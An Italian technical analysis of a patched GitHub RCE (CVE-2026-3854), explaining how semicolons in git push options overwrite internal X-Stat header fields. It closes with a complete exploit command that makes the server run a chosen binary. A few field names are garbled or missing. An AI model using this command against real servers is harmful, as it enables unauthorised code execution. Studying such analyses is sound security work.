
Analisi tecnica di CVE-2026-3854, una RCE su GitHub tramite header injection in git push, che spiega la vulnerabilità, la tecnica di sfruttamento e la mitigazione.
Riepilogo pratico di come funziona la vulnerabilità scoperta da Wiz Research nel pipeline interno di git push di GitHub.com e GitHub Enterprise Server.
Questo materiale è a scopo educativo e di ricerca in sicurezza offensiva. La vulnerabilità è già stata corretta da GitHub in tutte le versioni supportate. Non tentare di riprodurla contro ambienti che non siano tuoi o per cui non hai autorizzazione esplicita e scritta per testarla. L'accesso non autorizzato a sistemi è un reato in Brasile (Legge 12.737/2012, nota come Legge Carolina Dieckmann) e può configurare invasione di dispositivo informatico con pena di detenzione.
Un attaccante autenticato riesce a ottenere RCE su GitHub inviando ; in git push -o. Il babeld (proxy interno di GitHub, punto di ingresso di ogni SSH) non sanifica, e il ; rompe l'header interno X-Stat, sovrascrivendo campi di sicurezza di cui gitrpcd si fida ciecamente. Con 3 sovrascritture (rails_env, , ), l'hook pre-receive concatena ed esegue un binario arbitrario del server come utente git.
custom_hooks_dirrepo_pre_receive_hooks
In pratica riusciamo a scrivere nell'header X-Stat perché non c'è sanificazione del ; in git push, e lo facciamo puntando a un path del server di destinazione, ad esempio /bin, e così riusciamo a concatenarlo con un altro "campo" di questo header, repo_pre_receive_hooks. Con questo, se quel campo è whoami, nella concatenazione diventa /bin/ + whoami e viene eseguito direttamente sul server.
Solo che di default nell'X-Stat questi campi arrivano già tutti precompilati dal babeld, poiché l'RPC (gitrpcd) si fida ciecamente di esso per la lettura, credendo che l'utente non possa modificarli:
Di seguito un esempio di come il babeld compila i campi negli X-Stat:
rails_env=production;
user_id=int:42531;
user_login=paulo.werneck;
repo_id=int:8821;
repo_path=/data/repositories/a/b/cd/ef/12/8821.git;
operator_mode=bool:false;
user_operator_mode=bool:false;
custom_hooks_dir=/data/user/git-hooks;
repo_pre_receive_hooks=[{"id":1,"script":"validate-commit.sh","enforcement":"required"}];
large_blob_rejection_enabled=bool:true;
max_blob_size=int:104857600;
reject_sha_like_refs=bool:true;
push_option_count=int:0
Solo che, poiché non sanifica il ; durante il git push, puoi scrivere direttamente al suo interno, e per chiudere in bellezza è last-write-wins: l'ultima scrittura è quella che conta. Quindi se faccio:
git push -o "x;rails_env=production" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"
I campi sovrascritti diventano:
custom_hooks_dir=/bin
repo_pre_receive_hooks=whoami
(Non è così semplice come nell'esempio sopra di inserire solo whoami. In realtà è un JSON, quindi sarebbe qualcosa di più simile a [{"script":"whoami"}].)
E così, in una versione vulnerabile, eseguirà il binario whoami sul server.
Solo che così verrà eseguito ancora solo nella sandbox. Per questo è importante modificare un altro parametro nell'header X-Stat, rails_env=production. Deve essere qualsiasi cosa diversa da production.
Infine, lo script malevolo sarebbe così:
git push -o "x;rails_env=development" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"